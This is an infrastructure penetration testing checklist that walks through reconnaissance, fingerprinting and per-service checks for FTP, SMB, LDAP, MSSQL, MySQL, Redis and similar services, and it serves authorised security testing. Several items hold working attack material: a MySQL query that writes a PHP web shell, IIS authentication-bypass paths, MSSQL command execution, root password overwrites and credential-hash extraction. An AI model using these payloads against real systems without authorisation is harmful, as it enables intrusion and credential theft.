



# Infrastructure Penetration Testing Checklist

A Full Checklist for Infrastructure Penetration Testing

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## ▼ Recon

### • External Infrastructure

- ☐ Performing Subdomain Scans
- ☐ Performing recon on Company's LinkedIn Page
  - ☐ Listing Employees from Company Profile
  - ☐ Extracting email addresss from Employees's Profile for Identifying email formats
- ☐ Google Dorking on Email's Found / Guessed Patterns
- ☐ Gathering Breached Credentials
- ☐ Performing Port Scan on IPs
- ☐ Using Shodan on Public Facing IPs

### • Internal Infrastructure

- ☐ Using Responder in Analyze Mode
- ☐ Using Wireshark for monitoring Network Traffic
- ☐ Performing Netowrk Range Scan

## ▼ Fingerprinting

- ☐ Performing Whols on IPs
- ☐ Performing ASN Discovery
- ☐ Gathering DNS Records
- ☐ Bruteforce Hostnames with DNS
- ☐ Google Dorking
  - ☐ Site: [Domain]

- ☐ filetype:"xls | xlsx | doc | docx | ppt | pptx | pdf" site:[Domain] "FOUO" | "NOFORN" | "Confidential"
- ☐ filetype:xml inurl:sitemap
- ☐ and many more
- ☐ Reverse DNS Lookup

#### ▼ Mapping Network

- ☐ Identitfying Live Hosts
- ☐ Port Scan
  - ☐ Service Scan
  - ☐ Version Scan
  - ☐ Scanning with NSE/Scripts
  - ☐ OS Scan
  - ☐ UDP as well as TCP Scan
- ☐ SNMP Enumeration
  - ☐ snmpcheck
  - ☐ snmpwalk
- ☐ NetBIOS Enumeration
  - ☐ nbtscan
  - ☐ nmblookup
- ☐ Visualizing Network on MindMaps

#### ▼ Vulnerability Assessment and PT

##### ▼ FTP (Port 21)

- ☐ Grabbing Banner for Versions
- ☐ Anonymous Login
- ☐ FTP Bounce
- ☐ Default or Guessable Passwords

##### ▼ SSH (Port 22)

- ☐ Grabbing Banner for Versions
- ☐ Null Password
- ☐ Default or Guessable Passwords

##### ▼ SMTP (Port 25)

- ☐ Grabbing Banner for Versions
- ☐ Connect with Telnet
- ☐ SMTP Relay
- ☐ User Enumeration

##### ▼ DNS (Port 53)

- ☐ DNS Hostname Bruteforce
- ☐ DNS Reverse Lookup
- ☐ DNS Service Record Enumeration
- ☐ DNS Service Discovery
- ☐ DNS Zone Transfer

##### ▼ Jenkins

- ☐ Pages accessible without authentication like
  - ☐ /people

- ☐ /asynchPeople
- ☐ /securityRealm/user/admin/search/index?q=
- ☐ Vulnerable Versions Exploitation
  - ☐ [https://github.com/gquere/pwn\\_jenkins](https://github.com/gquere/pwn_jenkins)
- ▼ IIS
  - ☐ Enumerating .config files
  - ☐ Trace.AXD enabled debugging
  - ☐ Path Traversal
    - ☐ Source Code Disclosure
    - ☐ Downloading DLLs
      - ☐ System.Web.Routing.dll
      - ☐ System.Web.Optimization.dll
      - ☐ System.Web.Mvc.dll
      - ☐ System.Web.Mvc.Ajax.dll
      - ☐ System.Web.Mvc.Html.dll
  - ☐ Microsoft IIS tilde character “~” Vulnerability
  - ☐ Basic Authentication bypass (IIS 7.5) by trying to access
    - ☐ /admin:\$i30:\$INDEX\_ALLOCATION/admin.php
    - ☐ /admin::\$INDEX\_ALLOCATION/admin.php
  - ☐ Grabbing Banner for Version
  - ☐ Directory BruteForce
- ▼ Kerberos (Port 88)
  - ☐ Active Directory Attacks (We're not going to cover this here)
  - ☐ Bruteforcing Usernames with nmap
    - ☐ krb5-enum-users.nse
- ▼ RPC (Port 111)
  - ☐ Enumerating Basic Information using rpcinfo
  - ☐ Connect to RPC with RPC Client
- ▼ Rusersd (Port 1026)
  - ☐ Enumerating users with rusers
- ▼ NFS (2049)
  - ☐ Checking for Accessible mounts
    - ☐ showmount -e [IP]
  - ☐ Mounting
    - ☐ mount -t nfs [-o vers=2] <ip>:<remote\_folder> <local\_folder> -o nolock
- ▼ LDAP (Port 389)
  - ☐ Listing public information
    - ☐ nmap -n -sV --script "ldap\* and not brute" <IP>
  - ☐ Checking Null Credentials
    - ☐ ldapsearch -x -h <IP> -D " " -w " " -b "DC=<1\_SUBDOMAIN>,DC=<TDL>"
  - ☐ Extracting Users
    - ☐ ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Users,DC=<1\_SUBDOMAIN>,DC=<TDL>"

- ☐ Extracting Computers
  - ☐ `ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Computers,DC=<1_SUBDOMAIN>,DC=<TDL>"`
- ☐ Extracting my info
  - ☐ `ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=<MY NAME>,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"`
- ☐ Extracting Domain Admins
  - ☐ `ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Domain Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"`
- ☐ Extracting Enterprise Admins
  - ☐ `ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Enterprise Admins,CN=Users,DC=<1_SUBDOMAIN>,DC=<TDL>"`
- ☐ Extracting Administrators:
  - ☐ `ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Administrators,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TDL>"`
- ☐ Extracting Remote Desktop Groups
  - ☐ `ldapsearch -x -h <IP> -D '<DOMAIN>\<username>' -w '<password>' -b "CN=Remote Desktop Users,CN=Builtin,DC=<1_SUBDOMAIN>,DC=<TDL>"`
- ☐ For graphical Interface, jxplorer can be used

#### ▼ SMB (Port 445)

- ☐ Anonymous Credentials
- ☐ Grabbing Banner for Versions
- ☐ Null Sessions
- ☐ Exploitation with RPCClient
  - ☐ List user :enumdomusers
  - ☐ Get user details: queryuser <0xrid>
  - ☐ Get user groups: queryusergroups <0xrid>
  - ☐ GET SID of a user: lookupnames <username>
  - ☐ Get users aliases: queryuseraliases [builtin|domain] <sid>
  - ☐ List groups: enumdomgroups
  - ☐ Get group details: querygroup <0xrid>
  - ☐ Get group members: querygroupmem <0xrid>
  - ☐ List alias: enumalsgroups <builtin|domain>
  - ☐ Get members: queryaliasmem builtin|domain <0xrid>
  - ☐ List domains: enumdomains
  - ☐ Get SID: Isaquery
  - ☐ Domain info: querydominfo
  - ☐ Find SIDs by name: lookupnames <username>
  - ☐ Find more SIDs: Isaenumsid
  - ☐ RID cycling (check more SIDs): lookupsids <sid>
- ☐ Listing Shares
  - ☐ Null Session
    - ☐ `smbclient --no-pass -L //<IP>`
  - ☐ Listing Shares with Credentials

- ☐ smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP>
- ☐ Mount share
  - ☐ Without Credential
    - ☐ mount -t cifs //x.x.x.x/share /mnt/share
  - ☐ With Credential
    - ☐ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
- ☐ SMB Relay attack
- ▼ MSSRPC (Port 135)
  - ☐ Endpoint Mapper Service Discovery
  - ☐ Hidden DCERPC Server Discovery
  - ☐ Remote Management Interface Discovery
  - ☐ DCERPC TCP Service Auditor
- ▼ RTSP (Port 554 & 8554)
  - ☐ Gathering RTSP Methods
  - ☐ RTSP Url Bruteforce
  - ☐ Camerader can be used to access RTSP
- ▼ MSSQL (Port 1433)
  - ☐ Banner Grabbing
  - ☐ Basic Information Gathering
    - ☐ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
  - ☐ Execute Commands with MSSQL
    - ☐ Authenticated
      - ☐ crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "id"
    - ☐ UnAuthenticated
      - ☐ If xp\_cmdshell is enabled, we can execute commands without authentication
  - ☐ MSSQL Privilege Escalation
    - ☐ auxiliary/admin/mssql/mssql\_escalate\_dbowner
    - ☐ auxiliary/admin/mssql/mssql\_escalate\_execute\_as
- ▼ MySQL (Port 3306)
  - ☐ Enumerating with nmap
    - ☐ nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
  - ☐ Banner Grabbing
  - ☐ Basic Commands
    - ☐ Enumerating Privileges
      - ☐ select grantee, table\_schema, privilege\_type FROM schema\_privileges;
    - ☐ Enumerating File Privileges
      - ☐ select user,file\_priv from mysql.user where user='root';
    - ☐ Enumerating Current User
      - ☐ select user();

- ☐ Writing File
  - ☐ `select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE 'C:/xampp/htdocs/shell.php';`
- ☐ Reading file
  - ☐ `select load_file('/home/purabparihar/read_file.txt');`
- ☐ User password change
  - ☐ `UPDATE mysql.user SET authentication_string=PASSWORD('MyNewPass') WHERE User='root';`
  - ☐ `UPDATE mysql.user SET Password=PASSWORD('MyNewPass') WHERE User='root';`
- ☐ Extracting credentials
  - ☐ `mysql -u root --password=<PASSWORD> -e "SELECT User,Host,authentication_string FROM mysql.user;"`
- ▼ **Postgresql (Port 5432)**
  - ☐ Banner Grabbing
  - ☐ DB Name Flag Injection
- ▼ **VNC (Port 5900)**
  - ☐ UnAuth VNC Access
  - ☐ VNC Password
    - ☐ Password Location (Password will be encrypted)
      - ☐ `~/.vnc/passwd`
    - ☐ Decrypting Password
      - ☐ `vncpwd.exe [encrypted password]`
- ▼ **Redis (Port 6379)**
  - ☐ Banner Grabbing
  - ☐ Try accessing redis without credentials
  - ☐ Enumeration after login
    - ☐ Extracting information
    - ☐ Extracting Connected Clients
      - ☐ `client list`
    - ☐ Extracting configuration
      - ☐ `CONFIG GET *`
    - ☐ Dumping Database
      - ☐ `SELECT [database with keys]`
      - ☐ `KEYS *`
      - ☐ `GET [KEY]`
- ▼ **PJL (Port 9100)**
  - ☐ PRET can be used for interacting with PJL
    - ☐ <https://github.com/RUB-NDS/PRET>
- ▼ **Memcache (Port 11211)**
  - ☐ Extracting Stats
    - ☐ `memcstat --servers=127.0.0.1`
  - ☐ Extracting Memcdump
    - ☐ `memccat --servers=127.0.0.1 <item1> <item2> <item3>`